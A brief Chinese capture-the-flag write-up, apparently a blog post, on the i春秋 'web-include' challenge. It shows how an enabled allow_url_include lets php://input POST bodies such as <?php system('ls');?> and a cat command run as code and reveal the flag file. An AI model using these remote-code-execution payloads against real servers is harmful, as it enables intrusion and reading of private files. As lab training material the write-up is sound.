i春秋-web-include

最新推荐文章于 2022-02-13 15:38:15 发布

原创最新推荐文章于 2022-02-13 15:38:15 发布 · 578 阅读

0 ·

CC 4.0 BY-SA版权

本文揭示了一种利用PHP的allow_url_include配置项被开启的漏洞，通过POST请求发送包含system函数调用的PHP代码，成功执行了ls和cat命令，最终从dle345aae.php文件中读取到了Flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

phpinfo内容
发现allow_url_include开启
即允许php://input的形式，并将post的数据，作为php代码执行
?path=php://input
post:<?php system("ls");?>
得到
dle345aae.php index.php phpinfo.php
猜测flag应该在dle345aae.php里面
post:<?php system("cat dle345aae.php");?>
查看源代码发现flag